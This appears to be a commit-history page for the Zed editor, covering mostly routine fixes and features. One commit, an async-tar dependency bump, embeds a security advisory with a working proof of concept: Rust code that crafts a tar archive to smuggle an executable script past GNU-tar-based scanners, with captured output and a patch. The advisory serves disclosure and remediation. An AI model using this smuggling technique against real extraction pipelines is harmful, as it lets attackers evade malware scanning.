Commit Graph
39020 Commits
Author SHA1 Message Date
Smit Barmase ba0eea3f49 settings_content: Fix globally excluded language servers starting (#60984)
Closes https://github.com/zed-industries/zed/issues/60763

Follow-up to #60000. Global language server exclusions were added to
per-language settings without removing an explicit enable for the same
server, allowing it to still start.

For example, this setting should disable `vtsls` for every language:

```json
{
  "language_servers": ["!vtsls", "..."]
}
```

However, TypeScript’s default configuration explicitly enables `vtsls`,
causing it to still start.

Release Notes:

- Fixed language servers starting despite being disabled globally.
2026-07-14 17:15:05 +00:00
Kirill Bulatov ef2430c8f3 Properly notify on inline diagnostics toggle (#60978)
Closes https://github.com/zed-industries/zed/issues/60959

Release Notes:

- Fixed inline diagnostics not instantly [dis]appearing after toggling
2026-07-14 16:57:03 +00:00
John Tur 72656afa6d Use more efficient thread pool API on Windows (#60917)
This interface uses fewer syscalls and has less internal synchronization
(since the `TP_WORK` object is not exposed).

Release Notes:

- N/A
2026-07-14 16:40:22 +00:00
renovate[bot]andKirill Bulatov a1230fc584 Update Rust crate async-tar to 0.6.0 [SECURITY] (#60623)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [async-tar](https://redirect.github.com/dignifiedquire/async-tar) |
workspace.dependencies | minor | `0.5.1` → `0.6.0` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/15138) for more information.

---

### async-tar PAX extension-header desync enables tar entry/content
smuggling
[CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) /
[GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)

<details>
<summary>More information</summary>

#### Details
##### Summary

`async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an
intermediary
extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX
`x`/`g`
header) instead of to the next *file* entry. POSIX requires a PAX
extended-header
record set to describe the next file entry, never an intervening
extension
header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered
PAX
records into the size computation of whatever raw header it reads next —
and that
header can be an intermediary `L` — the stream cursor is advanced by an
attacker-chosen amount when the `L` body is consumed. The parser then
desyncs
relative to a POSIX-correct tar parser (e.g. GNU tar), reading
subsequent bytes
at the wrong block boundary.

An attacker who can influence a tar stream that an `async-tar` consumer
extracts
can construct an `x → L → file` sequence whose entry list and on-disk
result
differ between `async-tar` and a reference parser. This enables
content/entry
smuggling: a file that a GNU-tar-based scanner/validator/AV sees as
benign opaque
data is extracted by `async-tar` as a different file with different
bytes (e.g. an
executable script), and vice versa.

Type confusion / improper validation of the specified quantity (size).
CWE-20,
CWE-843. Severity assessed Medium, consistent with the same defect class
in the
upstream tar-rs / tokio-tar lineage.

##### Affected code

Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest
release) and
current `main` HEAD. Both lack the extension-header guard.

`src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag,
commit `45814b19295b7398e119c90c57d8c8bf70a798b6`):

```rust
    let file_pos = *next;

    let mut header = current_header.take().unwrap();

    // when pax extensions are available, the size should come from there.
    let mut size = header.entry_size()?;

    // the size above will be overriden by the pax data if it has a size field.
    // same for uid and gid, which will be overridden in the header itself.
    if let Some(pax_extensions_data) = pax_extensions_data {   // <-- no is_extension_header guard
        let pax = pax_extensions(pax_extensions_data);
        for extension in pax {
            let extension = extension.map_err(|_e| other("pax extensions invalid"))?;
            let Some(key) = extension.key().ok() else { continue };
            match key {
                "size" => {
                    let size_str = extension.value()
                        .map_err(|_e| other("failed to parse pax size as string"))?;
                    size = size_str.parse::<u64>()
                        .map_err(|_e| other("failed to parse pax size"))?;
                }
                "uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }
                "gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }
                _ => { continue }
            }
        }
    }

    let data = EntryIo::Data(archive.clone().take(size));   // body length = mis-applied PAX size
```

and a few lines further down the same function:

```rust
    // Store where the next entry is, rounding up by 512 bytes.
    let size = (size + 511) & !(512 - 1);
    *next += size;                                          // cursor advance = mis-applied PAX size
```

The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX
local
extension into `current_pax_extensions` and then calls `poll_next_raw`
with
`current_pax_extensions.as_deref()` for the *next* raw header. When that
next
raw header is an intermediary GNU longname (handled by the
`is_gnu_longname()`
branch a few lines later), the PAX `size` is applied to it, so `*next`
advances by
the spoofed size rather than the `L` header's own declared size. That is
the
desync.

The buffered PAX records are intended to apply only to the following
*file*
entry; the missing check is whether the raw header currently being sized
is itself
an extension header (`L`/`K`/`x`/`g`).

##### Impact

Differential extraction / entry smuggling. A consumer that extracts an
attacker-influenced tar stream with `async-tar` (e.g. a server endpoint
that
unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that
unpacks
a remote tarball, an archive-preview/scan pipeline) will:

- materialize files / file contents that a POSIX-correct parser (GNU
tar,
  libarchive/bsdtar) does not surface, and
- omit or alter files that the reference parser does surface.

This breaks any security control that relies on scanning the archive
with one
parser and extracting with `async-tar`: a malware/secret scanner reading
the
stream with GNU tar can be made to see only benign data while
`async-tar` writes
an executable payload to disk. It can also be used to hide entries from
audit/inventory tooling, or to write content to a path the reviewer
believes
holds something else. No attacker-controlled local state is required —
only the
ability to influence the bytes of the tar stream that the consumer
extracts.

##### How input reaches the sink (reachability)

The vulnerable path is the library's primary public API for reading
archives:
`Archive::new(reader).entries()` returns an `Entries` stream whose
`poll_next`
drives `poll_next_raw` for every header. Any consumer that iterates
entries (or
calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream
reaches
the sink with no additional configuration. The `reader` need not be a
file — it is
any `AsyncRead`, so an upload buffer, an HTTP response body, or a
decompressor
output all qualify. The only precondition for the desync is that the
stream
contain a PAX local-extension header (`x`) carrying a `size` record
immediately
followed by an intermediary GNU longname (`L`) before the next file
header — a
structure the attacker fully controls in the archive bytes.
Representative
reachable consumers are server endpoints that unpack uploaded
`.tar`/`.tar.gz`
bodies, dependency/artifact fetchers that unpack remote tarballs, and
archive-scan/preview pipelines.

##### Proof of concept

A standalone Rust consumer binary that links the published crates.io
`async-tar = "=0.6.0"` (`default-features = false, features =
["runtime-tokio"]`)
and runs the real `Archive::new(...).entries()` extraction loop (the
same shape
used by real downstream server consumers that unpack uploaded tarballs).
It reads
a tar file and writes each entry to a destination directory, printing
the entry
list `async-tar` surfaces. A second binary hand-crafts the malicious and
benign
tar byte streams.

Malicious archive geometry (block = 512 bytes):

```
B0  x  PAX local-extension header, records declare size=1024 (= 2 blocks)
B1     PAX records  ("<len> size=1024\n")
B2  L  GNU longname header, OWN declared size = 512 (= 1 block)
B3     longname block #&#8203;1  = "GNU_SEES_THIS.txt\0..."   (the name GNU tar uses)
B4     a normal file header "placeholder_A" (size 512)
B5     <-- this block IS a valid tar header for the smuggled file
           "hidden_payload.sh" (size 65)
B6     smuggled payload  "#!/bin/sh\n# SMUGGLED ENTRY...\n"
B7,B8  two zero blocks (EOF)
```

GNU tar honours the `L` header's own declared size (1 block) for the
longname and
ignores the buffered PAX `size`, so it reads B3 as the longname, treats
B4 as the
file, and reads B5 as that file's opaque data. `async-tar` mis-applies
the PAX
`size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands
its cursor
on B5, parses it as a tar header, and extracts the smuggled
`hidden_payload.sh`
body (B6).

Tar-builder source (`mktar.rs`):

```rust
use std::io::Write;
const BLOCK: usize = 512;

fn octal(buf: &mut [u8], v: u64) {
    let s = format!("{:0width$o}", v, width = buf.len() - 1);
    let b = s.as_bytes();
    buf[..b.len()].copy_from_slice(b);
    buf[b.len()] = 0;
}

fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] {
    let mut h = [0u8; BLOCK];
    let n = name.len().min(100);
    h[..n].copy_from_slice(&name[..n]);
    octal(&mut h[100..108], 0o644);
    octal(&mut h[108..116], 0);
    octal(&mut h[116..124], 0);
    octal(&mut h[124..136], size);
    octal(&mut h[136..148], 0);
    h[156] = typeflag;
    if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar  \0"); }
    else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); }
    for b in &mut h[148..156] { *b = b' '; }
    let sum: u32 = h.iter().map(|b| *b as u32).sum();
    h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes());
    h
}

fn pad(out: &mut Vec<u8>, len: usize) {
    let rem = len % BLOCK;
    if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }
}
fn pax_record(key: &str, val: &str) -> Vec<u8> {
    let mut len = key.len() + val.len() + 3;
    loop {
        let s = format!("{} {}={}\n", len, key, val);
        if s.len() == len { return s.into_bytes(); }
        len = s.len();
    }
}
fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }
fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); }

fn build_malicious() -> Vec<u8> {
    let mut out = Vec::new();
    let gnu_name = b"GNU_SEES_THIS.txt";
    let spoof = (BLOCK * 2) as u64;
    let mut recs = Vec::new();
    recs.extend(pax_record("size", &spoof.to_string()));
    out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
    write_block(&mut out, &recs);
    out.extend_from_slice(&header(b"././@&#8203;LongLink", BLOCK as u64, b'L'));
    out.extend_from_slice(&name_block(gnu_name));                 // B3
    out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4
    let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec();
    out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5
    write_block(&mut out, &smuggled_body);                        // B6
    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
    out
}

fn build_benign() -> Vec<u8> {
    let mut out = Vec::new();
    let mut recs = Vec::new();
    recs.extend(pax_record("path", "normal_file.txt"));
    out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
    write_block(&mut out, &recs);
    let body = b"plain benign content\n".to_vec();
    out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0'));
    write_block(&mut out, &body);
    let body2 = b"second benign file\n".to_vec();
    out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0'));
    write_block(&mut out, &body2);
    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
    out
}

fn main() {
    let a: Vec<String> = std::env::args().collect();
    let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) };
    std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap();
}
```

Consumer source (`main.rs`, mirrors a real `Archive::entries()`
extraction loop):

```rust
use async_tar::Archive;
use tokio::fs;
use tokio::io::AsyncReadExt;
use tokio_stream::StreamExt;

#[tokio::main(flavor = "multi_thread", worker_threads = 2)]
async fn main() {
    let args: Vec<String> = std::env::args().collect();
    let dest = std::path::PathBuf::from(&args[2]);
    fs::create_dir_all(&dest).await.unwrap();
    let bytes = fs::read(&args[1]).await.unwrap();
    let archive = Archive::new(std::io::Cursor::new(bytes));
    let mut entries = archive.entries().expect("entries()");
    let mut idx = 0usize;
    while let Some(entry) = entries.next().await {
        let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } };
        let path_raw = file.path().expect("path").into_owned();
        let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string();
        let hdr_size = file.header().size().unwrap_or(0);
        let mut out = dest.clone();
        for comp in std::path::PathBuf::from(&path_disp).components() {
            if let std::path::Component::Normal(p) = comp { out.push(p); }
        }
        let mut body = Vec::new();
        let read = file.read_to_end(&mut body).await.unwrap_or(0);
        if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }
        let _ = fs::write(&out, &body).await;
        let preview: String = body.iter().take(48)
            .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect();
        println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp);
        idx += 1;
    }
    println!("[async-tar] total entries surfaced: {idx}");
}
```

`Cargo.toml`:

```toml
[dependencies]
async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] }
tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] }
tokio-stream = "0.1"
futures = "0.3"
```

##### End-to-end reproduction

Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release
linked by
the consumer binary above. Verbatim captured output:

```
$ cargo build --release        # links async-tar v0.6.0 from crates.io
   Compiling async-tar v0.6.0
   Compiling async-tar-consumer v0.1.0
    Finished `release` profile [optimized] target(s) in 10.12s

$ ./target/release/mktar malicious mal.tar
wrote 4608 bytes to mal.tar

##### ---- (A) GNU tar reference: list + extract ----
$ gtar tvf mal.tar ; echo "rc=$?"
-rw-r--r-- 0/0            1024 1970-01-01 08:00 GNU_SEES_THIS.txt
rc=0
$ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?"
rc=0
$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt
hidden_payload.sh

##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header
#####  bytes of B5 — a GNU-tar-based scanner sees only benign noise.)

##### ---- (B) async-tar v0.6.0 consumer: extract ----
$ ./target/release/extract mal.tar /tmp/at_mal
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t"
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt

#!/bin/sh
##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner
```

Same bytes, two parsers, different on-disk result: GNU tar writes a
1024-byte
benign blob; `async-tar` writes a 65-byte executable shell script that
the
reference parser never exposes as an entry. The smuggled `#!/bin/sh`
body is
content a GNU-tar-based scanner would never inspect.

Negative control — a benign archive (correct PAX usage: `x` applies
`path` to the
following file, no intermediary `L`):

```
$ ./target/release/mktar benign ben.tar
$ gtar tvf ben.tar ; echo "rc=$?"
-rw-r--r-- 0/0              21 1970-01-01 08:00 normal_file.txt
-rw-r--r-- 0/0              19 1970-01-01 08:00 second.txt
rc=0
$ ./target/release/extract ben.tar /tmp/at_ben
[async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content."
[async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file."
[async-tar] total entries surfaced: 2
```

GNU tar and `async-tar` produce identical entry lists and identical
on-disk files.
No smuggling. The differential is exclusive to the `x → L → file` desync
sequence.

##### Fix

Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides)
only when
the raw header being sized is NOT itself an extension header. Skip the
override
for GNU longname (`L`), GNU longlink (`K`), and PAX local/global
(`x`/`g`) headers,
whose body length must come from their own declared size. This mirrors
the fix
adopted in the upstream tar-rs / tokio-tar lineage for the same defect
class.

```rust
    // when pax extensions are available, the size should come from there.
    let mut size = header.entry_size()?;

    // PAX extensions describe the NEXT file entry, not an intermediary
    // extension header. Applying a buffered PAX `size` to such an intermediary
    // header (L/K/x/g) advances the stream cursor by the wrong amount and
    // desyncs the parse.
    let entry_type = header.entry_type();
    let is_extension_header = entry_type.is_gnu_longname()
        || entry_type.is_gnu_longlink()
        || entry_type.is_pax_local_extensions()
        || entry_type.is_pax_global_extensions();

    // the size above will be overriden by the pax data if it has a size field.
    // same for uid and gid, which will be overridden in the header itself.
    if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {
        let pax = pax_extensions(pax_extensions_data);
        for extension in pax {
            // unchanged: same size/uid/gid override loop as before
        }
    }
```

Fix-verify, captured verbatim. The patched `async-tar` (guard added)
re-run
against the same `mal.tar`:

```
$ cargo build --release        # [patch.crates-io] async-tar = { path = "../async-tar-patched" }
   Compiling async-tar v0.6.0 (.../async-tar-patched)
   Compiling async-tar-consumer v0.1.0
    Finished `release` profile [optimized] target(s)
$ ./target/release/extract mal.tar /tmp/at_fix
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................."
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt
hidden_payload.sh
```

With the guard, `async-tar`'s view converges with GNU tar's: it surfaces
`GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as
data, and
no longer extracts the smuggled executable script. The benign control
still
produces the correct two-file output. The desync is eliminated.

##### Fix PR

A fix PR adding the `is_extension_header` guard to `poll_next_raw` in
`src/archive.rs` is opened from the advisory's temporary private fork
against this
repository. It carries the diff shown in the **Fix** section above (no
behavioural
change for well-formed archives; only intermediary `L`/`K`/`x`/`g`
headers stop
inheriting a following PAX `size`).

##### Credit

Reported by tonghuaroot.

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`

#### References
-
[https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m)
-
[https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>dignifiedquire/async-tar (async-tar)</summary>

###
[`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)

[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)

###
[`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0):
- Tokio Support

[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0)

</details>

---

### Configuration

📅 **Schedule**: (in timezone America/New_York)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

Release Notes:

- N/A

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
2026-07-14 16:21:54 +00:00
Bennet Bo FennerandMartin Ye d94ca551bc agent: Show title generation error in tooltip (#60982)
Closes #57117

<img width="305" height="84" alt="image"
src="https://github.com/user-attachments/assets/5626040c-5c3f-4f3f-8931-31331406015e"
/>

Release Notes:

- agent: Show actual error message when title generation fails

---------

Co-authored-by: Martin Ye <martin@zed.dev>
2026-07-14 15:48:02 +00:00
Mikayla Maki e9d6cd2f05 Open gitignored subdirectories as their own workspace (#60918)
# Objective

Let's git ignored directories be opened as their own project


## Solution

- Add an "ignored dir" carve out when checking project collision

## Testing

- Added tests

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [-] Unsafe blocks (if any) have justifying comments
- [-] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [-] Performance impact has been considered and is acceptable

---

Release Notes:

-
2026-07-14 15:34:30 +00:00
Cameron Mcloughlin 795c44f61d agent: Sandbox DNS rebinding and redirect cleanup (#60941)
Tidies up the host resolution code a bit and closes some small gaps

---

Release Notes:

- N/A or Added/Fixed/Improved ...
2026-07-14 15:29:30 +00:00
Kirill Bulatov af7de9a03c Fix project panel follow focus issues (#60974)
Closes https://github.com/zed-industries/zed/issues/60939
Closes https://github.com/zed-industries/zed/issues/60940

Release Notes:

- Fixed focus follows mouse in project panel's blank space
2026-07-14 15:10:32 +00:00
zerx-labandBennet Bo Fenner d0a977e651 Allow configuring adaptive thinking for Anthropic available_models (#57207)
Split off from #57105 per @maxdeviant's review.

`language_model_core::ModelMode` previously had only `Default` and
`Thinking` variants. As a result, `available_model_to_anthropic_model`
in the Anthropic provider had a dead branch for `AdaptiveThinking` that
was never reachable from settings, and users manually configuring Claude
models via `available_models` could only toggle extended thinking on/off
— they could not opt into adaptive thinking and its
low/medium/high/xhigh/max effort selector. This matters most for users
on third-party Anthropic-compatible proxies, where the `/v1/models`
endpoint may not report a `capabilities` block, leaving
`available_models` as the only path to enable adaptive thinking.

Add an `Adaptive` variant to `ModelMode` and map it to
`AnthropicModelMode::AdaptiveThinking` in the Anthropic provider's
settings conversion. Users can now write:

```json
{
  "language_models": {
    "anthropic": {
      "available_models": [
        {
          "name": "claude-opus-4-7",
          "display_name": "Claude Opus 4.7",
          "max_tokens": 1000000,
          "max_output_tokens": 128000,
          "mode": { "type": "adaptive" }
        }
      ]
    }
  }
}
```

and get the full adaptive-thinking UX in the agent panel.

### Impact on other providers

`ModelMode` is re-exported by Google (`GoogleModelMode`) and OpenRouter.
Both already use non-exhaustive `matches!` checks for `Thinking`, so the
new variant naturally falls through to "no thinking" without compile
breakage. Bedrock defines its own local `ModelMode` enum and is
unaffected. `cargo check --workspace --all-targets` passes.

### Tests

Three new tests in `crates/language_models/src/provider/anthropic.rs`
covering Adaptive / Thinking / Default settings → model mapping:

- `cargo test -p language_models --lib provider::anthropic::`: 3/3
passing.
- `./script/clippy --package language_models --package
language_model_core`: clean.

Release Notes:

- agent: Added support for `"mode": { "type": "adaptive" }` for custom
anthropic to enable adaptive thinking

---------

Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de>
2026-07-14 15:04:47 +00:00
Lukas Wirth b51f967d8b Thin out unnecessary dependencies from core crates (#60977)
Release Notes:

- N/A or Added/Fixed/Improved ...
2026-07-14 15:02:41 +00:00
Kirill Bulatov d06ebb7c03 Disable all spinners in Zed (#60614)
Closes https://github.com/zed-industries/zed/pull/48577
Part of https://github.com/zed-industries/zed/issues/8043
See
https://zed-industries.slack.com/archives/C07NUKHLVUZ/p1783335475957139
for context.

Release Notes:

- Allow to reduce animations with `"reduce_motion": "on"` settings
2026-07-14 14:49:06 +00:00
CorbinPost10 18f35ffac2 Fix gentoo cmake package name (#60930)
script/linux tried to install dev-util/cmake, which is not the correct
package name, so the script fails. Changing it to dev-build/cmake fixes
this.

Release Notes:

- N/A
2026-07-14 13:56:45 +00:00
Smit Barmase a25f19cb2f languages: Pin TypeScript to 6.x for typescript-language-server (#60970)
Closes https://github.com/zed-industries/zed/issues/60618

TypeScript 7 no longer ships `tsserver.js`, which
`typescript-language-server` depends on.

This PR does two things:
1. Pins the `typescript` package Zed auto-installs for
`typescript-language-server` to `^6`. For projects without their own
TypeScript in `node_modules` (which rely on the copy Zed installs), an
existing 7.x install gets downgraded to the latest 6.x, making the
server usable again.
2. Only hands the workspace's TypeScript to the server as a tsdk when it
actually contains `tsserver.js`, falling back to Zed's installed 6.x
otherwise. So if you upgraded your project to TypeScript 7, the language
server won't break. It keeps working against the 6.x TypeScript Zed
ships.

Note that vtsls, the default TypeScript language server, is unaffected
by the TypeScript 7 release. It bundles its own compatible TypeScript.
See #60951 for details. This PR only affects users who have manually
configured `typescript-language-server` as their language server.

Release Notes:

- Fixed `typescript-language-server` breaking after the TypeScript 7
release. For projects that have upgraded to TypeScript 7, install the
`tsgo` extension to use TypeScript's native language server.
2026-07-14 13:21:41 +00:00
Smit Barmase e06d4b2b9f vtsls: Remove redundant TypeScript installation (#60951)
Context:

While looking at #60618, I found out the TypeScript 7 upgrade only
breaks the `typescript-language-server` adapter, not the default vtsls
adapter.

After digging in, it turns out the initial vtsls implementation in
#12606 followed the same two-package installation pattern as the
`typescript-language-server` adapter: it installed both
`@vtsls/language-server` and the latest `typescript`. However, vtsls
already bundles a compatible TypeScript version via
`@vtsls/language-service` and uses it whenever a workspace SDK is
unavailable.

I also cross-checked an intermediate vtsls upgrade issue, #18349, where
we used the installed TypeScript version to decide whether both packages
needed updating, so a new vtsls release could go uninstalled when
TypeScript hadn't changed. #20197 fixed that by checking both packages
independently, but kept the unnecessary standalone TypeScript
installation.

Changes: 

This PR removes that redundant installation and version tracking from
the vtsls adapter. Zed now tracks only `@vtsls/language-server` and
relies on its declared TypeScript dependency. Workspace TypeScript and
Yarn SDK detection remain unchanged, so vtsls still uses a workspace SDK
when one is available and otherwise falls back to its bundled version.

As for the consequence of this change:
1. New users are not affected since npm installs vtsls's own pinned
TypeScript dependency anyway.
2. For existing users, the previously installed standalone `typescript`
was never resolvable by vtsls (its pinned version gets installed nested
when the versions conflict), so leaving it there is harmless.

To verify the standalone copy was really unused, I nuked the vtsls dir
and ran main (without this fix), which installed both the top-level
`typescript@7.0.2` and vtsls's own pinned `typescript@5.9.3` nested
under `@vtsls/language-service`. Node's module resolution shows vtsls
can only ever see the nested copy as well as the LSP logs from the
running server shows, all lib definition locations point at the nested
copy:

```
"uri": "file:///.../vtsls/node_modules/@vtsls/language-service/node_modules/typescript/lib/lib.es5.d.ts"
```

I also tested this branch with a fresh install TypeScript files work the
same as before.

Release Notes:

- N/A
2026-07-14 13:11:02 +00:00
xheandKirill Bulatov afc13dc8e0 gpui_linux: split xkbcommon wayland/x11 features (#60834)
# Objective

When xkbcommon compiled with either wayland or x11 only, the current
manifests will prevent it from compiling, despite gpui is already
wayland/x11 seperated.

close #60943 

## Solution

Simple changes to manifests.

## Testing

```
 cargo tree -p gpui_platform --no-default-features --features {wayland,x11} -e features -i xkbcommon
```

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Release Notes:

- N/A

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
2026-07-14 12:47:50 +00:00
Xin Zhao 9554ea58c3 Distinguish parameters from normal variables in semantic token highlighting (#60949)
# Objective

Closes #60928

Currently, only the declaration of parameters in a function header is
highlighted as `variable.parameter`. Inside the function body,
parameters are highlighted as normal variables, making them
indistinguishable from local variables.

This PR ensures consistent highlighting for parameters throughout their
entire scope, helping developers distinguish between function inputs and
locally defined variables.

## Solution

- Updated the `default_semantic_token_rules.json`: when the token type
is `parameter`, no matter what token modifiers are, it is now mapped to
`variable.parameter` highlight style.

## Testing

Tested locally with Rust. The improvement in visual hierarchy is
demonstrated in the comparison below.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

| Before | After |
| :---: | :---: |
| <img width="1178" height="400" alt="before"
src="https://github.com/user-attachments/assets/90a01543-2dcc-41e0-a2a3-f8020c6d77ee"
/> | <img width="1194" height="387" alt="after"
src="https://github.com/user-attachments/assets/c81ba273-2ea7-4d38-b7df-a6069c09c28a"
/>|

---

Release Notes:

- Improved semantic token highlighting to distinguish function
parameters from local variables.
2026-07-14 12:32:54 +00:00
Tom Houlé 7a3a82325a collab: Use new fuzzy search endpoint (#60910)
Updates Collab to use the new `/internal/channel_members/fuzzy_search`
endpoint that searches users by username (instead of GitHub login).
Request and response shapes are the same.

Release Notes:

- N/A
2026-07-14 11:40:24 +00:00
Danilo Leal a04a47e1ef branch_picker: Add design improvements (#60925)
This PR adds a series of design improvements to the branch picker,
including:

- Consistent icon used for filter actions
- A keybinding/action to trigger the filter menu with the keyboard
- Filter menu positioning depending on the picker's editor position
- Error display that displays the full label without truncation/tooltip,
and is placed accordingly also depending on the picker's editor position
- List subheader in the search list depending on filtered option

Here's a quick video:


https://github.com/user-attachments/assets/70922daf-fc9f-4d94-bed8-c84d3ea73534

- - -

Release Notes:

- N/A
2026-07-14 11:11:55 +00:00
Danilo Leal 5e982c6bdc gpui: Fix crash when opening a popover from inside another popover (#60926)
Opening a popover from inside another popover (e.g. the branch picker's
new filter menu, when the picker is hosted in the git panel or title
bar) corrupted the frame-caching bookkeeping for whichever cached view
contained them. The corruption was invisible until a later, unrelated
redraw reused that view's cached subtree, at which point the window
crashed (debug) or could misroute input events (release). Fixed by
processing deferred draws in place so their recorded positions remain
valid across frames; added a regression test reproducing the crash via a
cached panel hosting nested popovers.

Release Notes:

- Fixed the branch picker menu in the Git Panel, which was previously
broken due to popovers-within-popovers not being possible in GPUI.
2026-07-14 11:11:27 +00:00
Kirill Bulatov 7cf50a771f Add more context (#60913)
Started an old Zed version with old db entry which resulted in 0 agent
panel working, only showing me there and in logs "project path not
found".

Fixed by removing the corresponding `db` subdirectory, but decided to
